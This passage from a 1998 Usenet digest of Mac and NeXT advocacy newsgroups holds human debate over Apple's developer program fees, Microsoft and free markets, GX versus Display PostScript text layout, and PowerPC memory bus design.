: (roughly 70ns for the first access), and that delay doesnt change no
: matter what speed your motherboard is. I might be wrong, but having a 128
: bit bus at 41.5 MHz might turn out the be exactly as fast as a 64 bit bus
: at 83 MHz and might be much easier to build.
It might be technically easier to engineer, but possibly more costly.
You need a bigger board, more traces to the chipset that will do the memory
interleaving for you. Also, in a case where on the 83 MHz bus the access
pattern is 6-1-1-1, if you go to a 41.5 MHz bus, the access pattern may
be 3-1-1-1, but that's slower because the "1" in a 41.5 Mhz bus takes twice
as long as in a 83 MHz bus. Sometimes to engineer a big fat wide bus may
be no easier than design a thinner faster bus.
: And whatever you do, RAM on the motherboard is still sloooow compared to
: L2 cache on the G3 chips. Maybe adding more L2 cache at moderate speed or
: using faster L2 cache would give much more gain for less cost and less
: design headache. And that would make it much easier to build machines with
: different performance at different prices.
High speed cache is very expensive.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Free markets (Re: Microsoft Faking Testimonials...)
Date: Tue, 14 Apr 1998 13:47:31 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1404981347320001@132.236.171.104>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net>
In article <35330A58.2BFC5C6E@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> I'm curious: in what way did these people "create" a system which, by
> nature, already exists? Maybe you mean the Framers, and that they
> created the Constitution which explicitly forbids government meddling in
> the already-existing free-market? Maybe not. I dunno.
There's a question I've been meaning to put to hard-core "hands off!" free
market advocates. Let me pose it here and see what sort of response it
gets...
Some people argue that the government should not be allowed to tamper with
the so-called "free market." This assumes that it is indeed possible for
the government to successfully tamper with that market. I think almost
everybody will agree that the government does indeed have this power.
My question is: If it is possible for one body (the government) to
regulate the marketplace, and perhaps prevent it from truly being "free,"
is it not possible for a second body to accumulate power that also
restricts the "free market?" The implication, of course, is that a very
powerful company like Microsoft can become so powerful that the "free
market" isn't really free anymore. Clearly Microsoft does not have as
much power as the United States Government with regards to regulating the
software industry. But do they have enough power that they can restrict a
free market to a harmful degree? *That* is the question I think most
people who support government intervention are trying to ask.
My question, then, is: is it rational to assume that capitalism can never
result in a corporation so powerful that it can single-handedly destroy
the free
market that created it?
Clearly the "free market" leads to unpleasant things like price fixing
schemes when one or a few companies gain too much power. Usually, the
consumer has no way of knowing about these schemes; they're kept secret.
They're only uncovered because consumers have set up investigative
agencies like the FTC to keep the schemes in check. In the absence of
these agencies, the existence of these schemes would not be uncovered, and
we'd go on forever falsely believing that we were living in a free market
economy.
On my web page, I go into a bit more detail explaining why I think
government intervention can be necessary, and why it is needed in this
case. Feel free to read and respond to that as well:
http://biochem.bio.cornell.edu/emb22/eric/ms.ques.html#govbus
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 18:02:57 GMT
Organization: P & L Systems
Message-ID: <6h08ch$oop$46@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu>
<joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul>
<6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu>
<6gio5m$oop$11@ironhorse.plsys.co.uk> <ericb-0904981637520001@132.236.171.104>
<6gjgm5$bfj$1@news01.deltanet.com> <6glos8$oop$17@ironhorse.plsys.co.uk>
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Cc: malcolm@plsys.co.uk
In <6glos8$oop$17@ironhorse.plsys.co.uk> mmalcolm crawford wrote:
> According to Jordan J. Dea-Mattson
> Senior Partnership & Technology Solutions Manager
> Apple Developer Relations
>
> In the case of Associates (who got no tech support, and paid $250, they
> were moved to the Select program with no tech support incidents. These
> folks get the $100.00 Metrowerks Coupon, so they just were given $100.00.
>
> In the case of Associates Plus who got a limited number of tech support
> incidents, and paid $500, they were moved to the Select program with tech
> support incidents. These folks get the $100.00 Metrowerks Coupon, so they
> just were given $100.00.
>
> In the case of Partners, who paid $1500.00, they were moved to the
> Premier program. These folks get the $300.00 Metrowerks Coupons and a
> pass to WWDC ($1000.00 value), so they just were handed $1300.00.
>
> Apple has not been cashing anyone's checks on new enrollments or renewals
> for over six months. Everyone who has had to renew or join the program in
> the last six months has gotten it gratias.
>
Apparently this latter paragraph was incorrect; Jordan writes:
"Turns out the checks for the "Associates" level, but not the "Associates
Plus" or "Partners" level have been cashed. My mistake."
My apologies for propagating the error.
Best wishes,
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 11:25:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B158F932-40B21@206.165.43.147>
References: <6gvasb$1sr@gap.cco.caltech.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
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Shimpei Yamashita <shimpei+usenet+.mil+.gov@BOFH.patnet.caltech.edu> said:
> A small nit to pick here: Hangul is the Korean phonetic alphabet. It
> is not used at all in Chinese or Japanese. You're thinking of Hanzi
> (Jpn. Kanji).
Thanks, someone else already corrected me on this. Are there contextual
issues with Hanzi/Kanji like there are with Hangul?
----------------------------------------------------------------------
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 21:38:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15988EE-531BB@206.165.43.216>
References: <6h013d$bnb$3@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy
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Maury Markowitz <maury@remove_this.istar.ca> said:
> In <B15903E4-68E92@206.165.43.147> "Lawson English" claimed:
>
> [snipped the irrelivant portion]
>
> Maury
[Retained the spelling error]
[nyah]
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From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: America vs. Europe: education (was Re: Apple developer program)
Date: Tue, 14 Apr 1998 14:42:15 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1404981442150001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net>
In article <6gupoo$ogs$1@news3.alpha.net>, rpeterson@msn.globaldialog.com
(Ron Peterson) wrote:
> mmalcolm crawford (malcolm@plsys.co.uk) wrote:
> : Europeans are, on average, better educated, more capable of independent
> : creative thought, and can speak English better... :-)
>
> If you will check http://nces.ed.gov/pubs/eiip/eiipid11.html, you will
> find that the U.S. has a higher percentage of college graduates
> than any European country.
I bet we also have a lot more lousy schools than Europe does. See, for
example, the section "BAD Colleges and Universities" in the book "BAD" by
Paul Fussell.
According to Fussell, we have more PhDs awarded in "education" than any
other field. Given that, and given that so many Americans have college
degrees, why is it that Americans do so poorly when it comes to
head-to-head skills comparisons with citizens in so many foreign nations?
And why is the illiteracy rate in the United States so high? Why can't
American students find Mexico on a map (I'm not making this up!).
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 14:46:33 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1404981446340001@132.236.171.104>
References: <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <joe.ragosta-1404981037440001@wil44.dol.net>
In article <joe.ragosta-1404981037440001@wil44.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Well, let's see:
>
> 1. If there are hundreds of such products, please name a few. NOT counting
> educational products, since they aren't covered by this program.
The educational ones are worth mentioning *because* Apple does not cover them!
> 2. Of these hundreds of such products, please name the ones which would
> not be developed under the current plan. Remember, previously, you had to
> pay to get SDKs. Today, you can download them for free.
You did *not* have to pay to get the SDKs before. Where did you get that idea?
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 12:03:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B159020F-6203B@206.165.43.147>
References: <joe.ragosta-1404981037440001@wil44.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy
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Joe Ragosta <joe.ragosta@dol.net> said:
> 1. If there are hundreds of such products, please name a few. NOT
counting
> educational products, since they aren't covered by this program.
>
Stuffit. Raymond Lau invented this while in HIGH SCHOOL (he was 16, I
believe), so he wouldn't be covered by any higher ed discount.
> 2. Of these hundreds of such products, please name the ones which would
> not be developed under the current plan.
Any that needed to have beta software available to test against. Which
products? I don't kknow of any specifically, but I'll bet that there are
quite a few simply because there are quite a few low-end shareware authors
running around, even on the MacOS side.
Remember, previously, you had to
> pay to get SDKs. Today, you can download them for free.
In fact, for the last 2 years, you could download the SDKs for free, so
nothing has changed in that respect. What HAS changed is that you must now
pay $500 to obtain beta versions of the OS's, which means that for people
(like the HS students who might come up with the next Stuffit) whom $250
might have barely been doable, there is no longer any way to test their
product against the cutting edge of software unless they double that $250.
By doing this, Apple is cutting the low-end fringe, where most interesting
software comes from, out of the cutting edge of OS-specific software
development.
----------------------------------------------------------------------
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----------------------------------------------------------------------
From: steve@discoverysoft.com (Steven Fisher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 11:55:22 -0700
Organization: Discovery Software Ltd.
Message-ID: <steve-1404981155220001@oranoco.discoverysoft.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6gi8o4$oop$9@ironhorse.plsys.co.uk> <steve-0904981201500001@oranoco.discoverysoft.com> <6gloaj$oop$15@ironhorse.plsys.co.uk> <steve-1304981325100001@oranoco.discoverysoft.com> <6gvkqu$oop$42@ironhorse.plsys.co.uk>
In article <6gvkqu$oop$42@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>Umm, no, it isn't, it's a contradictory point.
Please read it this time then.
Scenerio A: What happened.
1. Kaleidoscope was incompatible with prerelease versions of MacOS 8. I
witnessed this on my Mac and disabled Kaleidoscope.
2. Greg Landweber had access to prelease versions of MacOS 8. He saw that
Kaleidoscope was incompatible with MacOS 8 and decided to do something
about it.
3. Greg updated Kaleidoscope so that it worked under MacOS 8. He also did
a few other things and this became a general release.
4. Nearly everyone upgraded to the latest Kaleidoscope because of the
non-MacOS 8 advantages.
5. Months later, MacOS 8 shipped.
6. Older Kaleidoscope versions break. Users email Greg or post to
newsgroups and are told to download the latest version.
Scenerio B: What would have happened if Greg hadn't had access to
prerelease versions of MacOS 8.
1. Kaleidoscope was incompatible with prerelease versions of MacOS 8. I
witnessed this on my Mac and disabled Kaleidoscope.
2. Greg updated Kaleidoscope, adding a few things. Because he didn't have
access to MacOS 8 so he couldn't begin MacOS 8 fixes.
3. Nearly everyone upgraded to the latest Kaleidoscope because of the
non-MacOS 8 advantages.
4. Months later, MacOS 8 shipped. Kaleidoscope didn't work under MacOS 8.
5. Greg's shareware payments slip and people start sending him email.
6. Greg fixes Kaleidoscope between support emails and releases an updated
version. Greg must continue answering support emails from people
OR
6. Greg abandons Kaleidoscope.
The first scenerio is not fictional. This is what happened. I had access
to both the betas of Kaleidoscope and MacOS 8. I got to see Kaleidoscope
slowly but surely become compatible with MacOS 8.
The second scenerio is not entirely fictional. Change the names of the
product and programmer and you have what happend to people who weren't in
the seeding program. Including the alternate version of 6 in some (mostly
isolated) cases.
Seeding of prerelease system software is *CRITICAL* to developers of
system extensions and control panels. Do you think there would have been
dozens of contextual menu plugins available BEFORE MacOS 8 shipped if the
seeding program had cost double?
--
Steven Fisher; Discovery Software Ltd.; steve@discoverysoft.com
"Anyone who has never made a mistake has never tried anything new."
-- Albert Einstein
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 21:50:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1598BBB-5DA39@206.165.43.216>
References: <6h0f73$5cq$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Scott Anguish <sanguish@digifix.com> said:
> Yet he managed to continue it, make money, and build it into a
> defacto standard on the Mac.
>
> All with the seeds... probably without any apple support..
>
> Great argument for hobbists doing it for themselves.
Are you suggesting that it would have been tougher on Mr. Lau (SP?) if he
HAD had support in the form of the latest beta seeds?
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 14 Apr 1998 21:48:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1598B35-5BAB4@206.165.43.216>
References: <6h0114$bnb$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
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Maury Markowitz <maury@remove_this.istar.ca> said:
> In <B1590035-5B0E7@206.165.43.147> "Lawson English" claimed:
> > No. Team 1 is in charge. Team 2 is disbanded. Team 1 makes comments.
>
> I see no comments from Team 1 or Team 2, aside from those I've received
> from the later in e-mail.
>
You talk to former GX team members in e-mail? Oh, you mean Dan Lipton.
Mike Paquette of Team 1 contributes to these threads all the time.
> > I suggest that since Team 1 is the only one left to make comments, that
> > they are biased. Team 2 is no longer available, so it CANNOT make
> comments,
> > and hence can't even be biased (although that I'm sure that they would
be
> > if they were still around and DID make comments).
>
> Ahh yes, it's all revisionist history at work!
??? Team 1 makes comments that I assert are biased. Team 2 CAN'T make
comments because it isn't around any more and I suggest that if they WERE
still around, that they would be biased also.
How is this "revisionist history?"
People tend to be biased about things that they are/were involved in.
My point isn't that one team would be biased while the other wouldn't be,
but only that you are hearing from ONLY one team simply because it is the
only one left to make comments of any kind and that these comments are
biased, not because of some conspiracy, but because that is the nature of
human beings: to present THEIR side of the arguement rather than the other
side.
>
> > The point is: you're getting one side of the story from Apple
>
> I get NONE of the story from Apple.
Mike Paquette works for Apple. Other people program using DPS and OpenStep.
You don't hear from many GX programmers because there aren't that many
contributing to comp.sys.mac.advocacy or comp.sys.next.advocacy or
comp.sys.next.programmer.
----------------------------------------------------------------------
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 12:11:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15903E4-68E92@206.165.43.147>
References: <6gvit9$8u$6@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy
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Maury Markowitz <maury@remove_this.istar.ca> said:
In <3530F643.DEADA2A5@trilithon.com> Henry McGilton claimed: said:
> > Providing tri-glyph support (which already exists in the OpenStep
> > Text object suite if you would get off your high horse long enough
> > to take a look)
>
> He won't.
I confused "Han" (the term used in the Unicode specification to describe
the glyphs) with Hangul (the Korean alphabet which happens to use those
glyphs -i think;-/).
I'm aware of the support in the text suite for Tri-glyphs, BTW. I was
talking about the speed of applying your DPS-based bounding-box-caching
strategy to such contextually alterable text. You need to cache the
bounding box to have it available for manipulation, but you won't get any
speed increase from keeping it around during editing if the editing process
changes the bounding box of glyphs in unpredictable ways. You'd either have
to determine which bounding boxes have changed and obtain the new ones (not
easy to do since a change in one character can change the appearance of
other letters adjacent to it on either side and even at the beginning/end
of the word or line) or just throw all of them out and obtain the new ones.
Dan and I assert that GX's layout and glyph shapes were designed from the
ground up to do this efficiently and that DPS itself wasn't.
Like as not, the Rhaposody glyph class uses a more efficient way of
determining the bounding box of a glyph than raw DPS, but that would
possible because it has the relevant glyph-info available within the
object just as it is available within the GX glyph shape, presumeably
obtained algorithmically rather than using DPS's charpath strategy.
What I was told on the GX newsgroup is that DPS is being used primarily as
a rendering engine when dealing with text, and that queries to DPS for
things like hit-testing are reserved for NSViews (?) and not individual
characters. This suggests that the bounding box of individual glyphs is
also determined on the framework side instead of the rendering side of the
equation.
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From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 21:41:51 -0700
Organization: Trilithon Research and Trading
Message-ID: <35343A8F.FE507500@trilithon.com>
References: <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com>
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Rex Riley wrote:
* In <6gvqbt$hnq@shelob.afs.com> Gregory H. Anderson wrote:
* * Rex Riley writes
* * * ITS AN INVESTMENT, etc, etc, etc . . .
* * This comment is way off the mark.
* Apple _is_ fighting for its Corporate Life. Rhapsody is
* targeted at the "Professional" and "Corporate" user.
* Advocating an "Investment" attitude seems a healthy,
* responsible attitude.
For once I'll straddle the fence (ouch!) on this issue. I'll
simply present a couple of scenarios and let people draw their
own conclusions (which I'm sure they will). I agree with Rex
about investment --- I believe the greatest investment one makes
in life is investment in oneseself. I also agree with Malcolm
when he states that if another $250 will make or break you,
you don't have a viable business anyway.
But, I also lean heavily in agreement with Greg over the
"Business Snob" attitude. We've already encountered the
"Business Snob" attitude from Next a few years back where they
wouldn't take your money if you weren't in their "target market
segment".
I personally encountered the "Business Snob" attitude
when, as an employee of Sun Microsystems a while back, I spent
close to six months trying to buy a Sun Microsystems workstation
through the local Sun Microsystems sales office. There I was
with a cheque for several thousand dollars, and I could not get
a Sun sales-sleaze to grasp the concept that a Sun Microsystems
employee could possibly want to purchase a Sun Microsystems
workstation. The sales-sleazes simply weren't geared up to
the concept of somebody coming in and writing a cheque and
walking out with a product (great marketing, isn't it?).
I eventually gave up and purchased first a Macintosh, and
later a couple of NextStations, both of which are still
doing good work for me.
Excuse me for rambling. Prior to all that, I had encountered
the "Business Snob" attitude in spades back in the early 1980s.
A certain company who'll remain nameless for the time being
was engaged in the development of a new and potentially
exciting new super-whizbang micro-processor that would be
optimised for Ada --- the then darling of the DoD(o).
I was at that time consulting for a variety of small companies
around The Valley and more than one of them were interested in
what was going on in this company's Oregon labs (notice how
I'm obfuscating the company?) with the new chip. The company
was touting their super-duper whiz-bang software development
environments with emulator, debugger, interpreter, simulator,
source control, and all the great things up the Ying Yang
you'd love to have as a developer.
So I called the company and ran into a sales/marketing type
who was into the "Business Snob" mentality in a major way.
He opined how their development system was just the greatest
and that they were interested only in dealing with outfits
that were willing to spend $20 million on development systems
and developers and management and all that rot. His words
were, "If you're two guys in a garage, we're not interested in
talking with you". Well, at the time, I was consulting in a
thirty-person company, but we certainly didn't have $20 million
lying around. So we passed on the opportunity to develop for
this wonderful new super-duper whiz-bang system, tra la la . . .
Well, hindsight is 20/20 vision, as "they" say. But in
retrospect, I'm glad we didn't rush out and borrow $20
million, because anybody who's been around a while can
attest to the raving commercial sucess of the Intel iAPX-432.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 21:57:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1598D68-63F23@206.165.43.216>
References: <6h1946$e04$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Scott Anguish <sanguish@digifix.com> said:
[referring to Brad Hutchings referring to editorial]
>
> First, off, this was not from a "Think Wisely" page. This was
> from an editoria that was written by Wil Shipley.
>
> I agree with what Wil says in the article. The old program
> was severely abused by those who wanted cheap hardware and nothing
> more. By those who wanted cheap access to all the updates and
> bleeding edge stuff, even though they didn't ever do any development.
>
> For a business, $500 for access to the facilities that you get
> with Select is a bargain.
It is interesting that some developers are complaining about losing the
developer discounts while others are claiming that those discounts weren't
worth anything in the first place while others are claiming that the
discount program was severely abused...
Who to believe?
----------------------------------------------------------------------
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From: spam@spam.mil (Rick Tan)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Tue, 14 Apr 1998 12:51:02 -0700
Organization: ACI
Message-ID: <spam-1404981251020001@tanalma.apple.com>
References: <6gpc8q$7f9$1@hecate.umd.edu> <handleym-1404980057520001@handma.apple.com> <christian.bau-1404981116460001@christian-mac.isltd.insignia.com>
iU@V-T!Z`*ccvCK"d>[+[RUHo#6[D[,.Zd%pAzvW>a}ueE=9otTtY9bg&8loEmUt$4Dti-a9uC48i3
kxW!pP$C@Nw}V~bpgC(wJn|\x&KKh+0m501t"laUCs`P`U-hx
In article
<christian.bau-1404981116460001@christian-mac.isltd.insignia.com>,
christian.bau@isltd.insignia.com (Christian Bau) wrote:
> Looks to me that most of the delay comes from the SDRAM chip itself
> (roughly 70ns for the first access), and that delay doesnt change no
> matter what speed your motherboard is. I might be wrong, but having a 128
> bit bus at 41.5 MHz might turn out the be exactly as fast as a 64 bit bus
> at 83 MHz and might be much easier to build.
Doubling the bus width might not be the most cost effective way of
increasing throughput.
> And whatever you do, RAM on the motherboard is still sloooow compared to
> L2 cache on the G3 chips. Maybe adding more L2 cache at moderate speed or
> using faster L2 cache would give much more gain for less cost and less
> design headache. And that would make it much easier to build machines with
> different performance at different prices.
You hit the 'Law of Diminishing Returns' once you've achieved a certain
amount of hit-to-miss ratio on L2 caches. At that point, the bottleneck
is definitely in the DRAM subsystem. Sure, you can play tricks, such as
more pipelining and interleaving, but these fixes are just temporary
measures.
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Tue, 14 Apr 1998 15:35:02 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3533C875.52A9@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <sczY.1017$ME2.5365651@news.itd.umich.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu>
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not@my.address.net wrote:
>
> On 04/13/98, Michael Peck wrote:
>
> >If this is a roundabout allusion to Microsoft's "monopoly" (as I would
> >expect from the title of the thread), all of this argument is a
> >not-so-subtle way of saying that you've taken Microsoft as a proof case
> >for the existence of software monopolies. I say that's poor science, and
> >just plain untrue, to boot.
> >
>
> I don't want the point to be subtle. At the risk of repetition, I'll try
> to be explicit.
>
> (1) Provided that you do have an industry where marginal costs diminish
> even as the size of the firm approaches the size of the market, an
> unregulated private market will predictably spawn a so called "natural"
> monopoly.
No! Look, I've already said that this *tendency* exists as a part of the
system.
Try this: imagine the free market as a complex system composed of a
number of interdependent mathematical functions. Now imagine that what
you've described is one of those functions.
Still with me? Now, what you've basically done is to claim that this
function operates and creates results that are totally independent of
all other functions in the system. You tell me, is that what you really
mean?
> (2) The software industry, or at least certain sectors of it, exhibits just
> that feature -- the range over which size gives you a competitive advantage
> approaches the size of the market itself.
Absolutely not. In the singular arena of "pressing CDs", perhaps, yes.
In the areas of R&D, software development, IT, etc., etc., etc.?
Absolutely not. Period.
Bigger != better. I'm sorry to have to disabuse you of that juvenile
notion.
> (When you consider (2), remember to factor in the relation between market
> share and consumer cost -- if software is popular it's easier to hire
> people trained to use it, easier to get "support" from informal channels
> (ie friends who use it), etc. etc.)
If software is marginally popular, it's easier to hire fewer support
personnel, it's easier to spend less on advertising, it's easier to
change corporate direction, it's easier to create new products without
the spectre of compatibility, it's easier to ship late products...
It's even easier, depending on the situation, to do all of the above
with *lower* per-unit costs. By leveraging his own talent, the
entrepreneur can achieve more with less money than a large corporation
in many cases. When he's a larger concern and has to pay attention to
unions, affirmative action, and the EPA, his costs are going up, not
down.
Those examples were not casually chosen, by the way.
> It seems that you grant (1) and deny (2). Is that a fair statement of
> where we're at? I'm not trying to put words in your mouth; I'm just
> looking for clarification so we can be efficient and stay on point.
I grant that (1) represents an internal tendencies among hundreds of
other internal tendencies. I do not grant the conclusions you draw based
on (1) on any account, whatsoever.
I deny (2) categorically. You've made an empirical statement that does
not hold true in even a majority of discussions, or even on a singular
basis, evaluated thoroughly enough.
> >I see at the base of your argument about the
> >software industry the fundamental complaint that "everyone needs
> >software" and thus that buying from a monopolistic competitor is almost
> >certain in that market.
>
> Universal need is not the premise for the argument. If no one "needed" a
> television set and only half of households had one, at the equilibrium
> point in a free market for the production of TV's there would still be a
> single supplier provided that the range over which per/unit costs of
> production diminish is greater than the size of the market itself.
And a competitor has many recourses in such an instance. Developing a
cheaper CRT device and thus broadening the market through lower prices
is one (remember the technology thing?). Improving management methods
and leveraging his own talent and nimble size to reduce costs are
others.
One can even sell an old product to new customers by doing little more
than changing its aesthetics. There is a case to be made on behalf of
Windows 95 on this one.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: nhughes@sunflower.com (Nathan Hughes)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Mon, 13 Apr 1998 20:46:13 GMT
Organization: is a sign of a sick mind.
Message-ID: <353a7875.153476453@198.0.0.100>
References: <6gdhvg$2ls$2@anvil.BLaCKSMITH.com> <35330720.2781E494@spam.me> <slrn6j65mt.p5a.mbkennel@lyapunov.ucsd.edu> <6gvasb$1sr@gap.cco.caltech.edu> <6gvvbj$q7s@nrtphc11.bnr.ca>
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On or about 14 Apr 1998 15:28:51 GMT, in comp.sys.mac.advocacy Matthew
Cromer <matthew_cromer@iname.com> exclaimed :
>Time to change ISP's I guess
>I have more problem with Cable TV than with Mindspring.
Speaking of Cable, if you are in an area with cable modem access, dump
you modem and get hooked up to cable. I don't think I could stand
going back to 33.6. I used get download speeds of about 7 minutes
per meg, now I download at 30 seconds per meg. On top of that you
never need to dial up and you get a dedicated address. All you need
to use a cable modem is an ethernet card, no special software needed.
Nathan A. Hughes
MFA Candidate
The University Theatre KU
http://scenedesign.ml.org
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 15:58:37 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h013d$bnb$3@ns3.vrx.net>
References: <6gvit9$8u$6@ns3.vrx.net> <B15903E4-68E92@206.165.43.147>
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In <B15903E4-68E92@206.165.43.147> "Lawson English" claimed:
[snipped the irrelivant portion]
Maury
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Free markets (Re: Microsoft Faking Testimonials...)
Date: Wed, 15 Apr 1998 00:15:38 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <3534508A.22D5D61F@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <ericb-1404981347320001@132.236.171.104> <3533BAE1.3B33@CONVEX.COM> <petrichErFM2z.102@netcom.com>
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Loren Petrich wrote:
> >Technology
> >shifted, and IBM's control was broken. This took place *internally* to
> >the free market.
>
> That's rather far from the truth.
No, it isn't. But thanks for the historical review.
> >Unethical behavior is a sad fact of life in a market which enjoys
> >unrestricted trade. I don't think it's possible to wish poor ethics away
> >in the well of government intervention.
>
> So does that mean that unethical behavior has a right to happen?
Unethical behavior *happens*. Whether or not is has a "right to happen"
is a completely nonsensical proposition.
> And that we ought to disband the military and the police?
Blech, I detest thinking that can't distinguish between *illegal* and
*unethical* behavior. The inability to distinguish between the two has
been root of most socialistic evils for at least the past decade, I'm
convinced.
> >However, strong market forces oppose poor ethics. The example of
> >consumers who are willing to pay a premium for environmentally-clean
> >power sources goes a long way toward demonstrating this.
>
> I thought you guys *hated* concern about the environment. :-)
I have no idea who you think "we guys" might be. Eric is a Libertarian,
I'm not. At any rate, I believe a strong sense of stewardship is
important: that applies to economics as well as environmentalism.
MJP
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 22:18:21 -0700
Organization: Trilithon Research and Trading
Message-ID: <3534431D.AD9C2AA6@trilithon.com>
References: <6h0114$bnb$2@ns3.vrx.net> <B1598B35-5BAB4@206.165.43.216>
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Lawson English wrote:
<<<<< standard nonsense snipped >>>>>
* Mike Paquette works for Apple.
And works bloody hard, too.
* Other people program using DPS
very few people "program using DPS". This is one of the standard
items of mythology promulgated by the anti-OpenStep faction. The
amount of *PostScript* programming necessary in any run-of-the-mill
OpenStep application is down around the one percent region. I
posted a long letter to this effect to one of the UNIX rags
